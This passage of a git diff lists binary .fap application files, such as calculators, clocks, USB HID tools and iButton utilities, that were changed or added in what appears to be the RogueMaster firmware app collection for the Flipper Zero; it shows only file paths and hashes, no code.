XFW)/RogueMaster/Sub-GHz/tpms.fap index 35f07db4..b8b22b47 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/tpms.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/tpms.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/weather_station.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/weather_station.fap index b718b84e..3323e325 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/weather_station.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/weather_station.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/analog_clock.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/analog_clock.fap index 0736f2e5..81607b4d 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/analog_clock.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/analog_clock.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/barcode_app.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/barcode_app.fap index 3e3d3b48..b8e66739 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/barcode_app.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/barcode_app.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/bgloader.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/bgloader.fap index 185e03fb..7d7c947a 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/bgloader.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/bgloader.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/blackjack_counter.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/blackjack_counter.fap index 1e9b2b81..8ae67b14 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/blackjack_counter.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/blackjack_counter.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/brainfuck.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/brainfuck.fap index 2f741ad4..96c12f38 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/brainfuck.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/brainfuck.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/c_book.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/c_book.fap index 35420af6..583ae11f 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/c_book.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/c_book.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/caesar_cipher.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/caesar_cipher.fap index 48f1e29f..dae96d47 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/caesar_cipher.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/caesar_cipher.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/calculator.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/calculator.fap index 71b47ca8..7c423b27 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/calculator.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/calculator.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/calendar.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/calendar.fap index bfd1eebb..6c21b3f9 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/calendar.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/calendar.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/chronometer.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/chronometer.fap index e94863dc..16551738 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/chronometer.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/chronometer.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/cli_gui.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/cli_gui.fap index da77cafa..c1564d20 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/cli_gui.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/cli_gui.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/clockv1.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/clockv1.fap index ca348080..8a2939c3 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/clockv1.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/clockv1.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/count_down_timer.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/count_down_timer.fap index 088300d3..3003bc51 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/count_down_timer.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/count_down_timer.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/counter.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/counter.fap index 913da347..39bb291f 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/counter.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/counter.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/crypto_dict.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/crypto_dict.fap index e495f374..a104b92f 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/crypto_dict.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/crypto_dict.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/device_info.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/device_info.fap index 963b06c2..babeef41 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/device_info.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/device_info.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/dtmf_dolphin.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/dtmf_dolphin.fap index 015059b0..81de1bf4 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/dtmf_dolphin.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/dtmf_dolphin.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/extra_demo.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/extra_demo.fap index 59305a23..6ec8faa7 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/extra_demo.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/extra_demo.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/f0forth.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/f0forth.fap index 796f5485..074d119b 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/f0forth.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/f0forth.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/fap_boilerplate.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/fap_boilerplate.fap index 75758e16..e2c68640 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/fap_boilerplate.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/fap_boilerplate.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/financial_calc.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/financial_calc.fap index c2078423..f95e15fc 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/financial_calc.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/financial_calc.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/flipagotchi.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/flipagotchi.fap index 5a0a1719..c9fc0a0e 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/flipagotchi.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/flipagotchi.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/flipbip.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/flipbip.fap index 0371bbf3..47292377 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/flipbip.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/flipbip.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/flipper_aid.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/flipper_aid.fap index 0195231d..f63d1377 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/flipper_aid.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/flipper_aid.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/hex_editor.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/hex_editor.fap index cc0b5540..e76b9f8b 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/hex_editor.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/hex_editor.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/hex_viewer.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/hex_viewer.fap index df7eebe1..b906d5c3 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/hex_viewer.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/hex_viewer.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/id_card.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/id_card.fap index 49869ece..3eb2c66b 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/id_card.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/id_card.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/led_pulsator.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/led_pulsator.fap index 7a7f9bfb..3548febd 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/led_pulsator.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/led_pulsator.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/multi_converter.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/multi_converter.fap index 570d7863..00abce9e 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/multi_converter.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/multi_converter.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/nightstandclock.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/nightstandclock.fap index 06f4e3b8..ebd89073 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/nightstandclock.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/nightstandclock.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/notes.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/notes.fap index 2df35cb0..b86cad0e 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/notes.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/notes.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/orgasmotron.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/orgasmotron.fap index 92d3f28d..df1d9d84 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/orgasmotron.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/orgasmotron.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/password_generator.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/password_generator.fap index 425682f5..7afdc850 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/password_generator.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/password_generator.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/pet_a_dolphin.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/pet_a_dolphin.fap index ffb405bc..543b53a5 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/pet_a_dolphin.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/pet_a_dolphin.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/pomodoro2.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/pomodoro2.fap index 217c3b09..d88b18e8 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/pomodoro2.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/pomodoro2.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/pomodoro_timer.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/pomodoro_timer.fap index 47ede666..510b386a 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/pomodoro_timer.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/pomodoro_timer.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/programmercalc.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/programmercalc.fap index 4e2f9f11..1d11a104 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/programmercalc.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/programmercalc.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/qrcode.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/qrcode.fap index 2bd03fb5..37bfd887 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/qrcode.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/qrcode.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/quac.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/quac.fap new file mode 100644 index 00000000..7a3b68c1 Binary files /dev/null and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/quac.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/resistance_calculator.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/resistance_calculator.fap index db4dcba4..d460484b 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/resistance_calculator.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/resistance_calculator.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/skeleton_app.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/skeleton_app.fap index 3391a5a5..bdfd32c3 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/skeleton_app.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/skeleton_app.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/techart_calendar.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/techart_calendar.fap index f9774d5c..60244135 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/techart_calendar.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/techart_calendar.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/text_viewer.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/text_viewer.fap index 180ae38f..ae931227 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/text_viewer.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/text_viewer.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/tone_gen.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/tone_gen.fap index 8d9518c8..16c1f7f8 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/tone_gen.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/tone_gen.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/totp.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/totp.fap index bf2bab84..0e0ced19 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/totp.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/totp.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/voltcalc_app.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/voltcalc_app.fap new file mode 100644 index 00000000..f07c29d6 Binary files /dev/null and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Tools/voltcalc_app.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/bad_kb.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/bad_kb.fap index ad189e8f..5a21e9d6 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/bad_kb.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/bad_kb.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/bad_usb.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/bad_usb.fap index 3182f9d1..e7139e5a 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/bad_usb.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/bad_usb.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/barcode_scannere.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/barcode_scannere.fap index 9f6dccb4..6205420a 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/barcode_scannere.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/barcode_scannere.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/hid_usb.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/hid_usb.fap index bdf5f1e0..351278b5 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/hid_usb.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/hid_usb.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/hidtransfer.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/hidtransfer.fap index f35035b8..0a9fbddd 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/hidtransfer.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/hidtransfer.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/mass_storage.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/mass_storage.fap index 18499080..b7b2123d 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/mass_storage.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/mass_storage.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/mousejiggler.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/mousejiggler.fap index 42ff44da..f17d1670 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/mousejiggler.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/mousejiggler.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/u2f.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/u2f.fap index 9d6e812f..d0483e44 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/u2f.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/u2f.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/usb_ccb.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/usb_ccb.fap index b77165f7..472e3856 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/usb_ccb.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/usb_ccb.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/usb_hid_autofire.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/usb_hid_autofire.fap index 442532d6..020673ec 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/usb_hid_autofire.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/usb_hid_autofire.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/usb_midi.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/usb_midi.fap index 6d445746..2bda16f9 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/usb_midi.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/USB/usb_midi.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/iButton/ibutton.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/iButton/ibutton.fap index 89905b7e..93045dd1 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/iButton/ibutton.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/iButton/ibutton.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/iButton/ibutton_fuzzer.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/iButton/ibutton_fuzzer.fap index 34b89e22..daa8181b 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/iButton/ibutton_fuzzer.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/iButton/ibutton_fuzzer.fap differ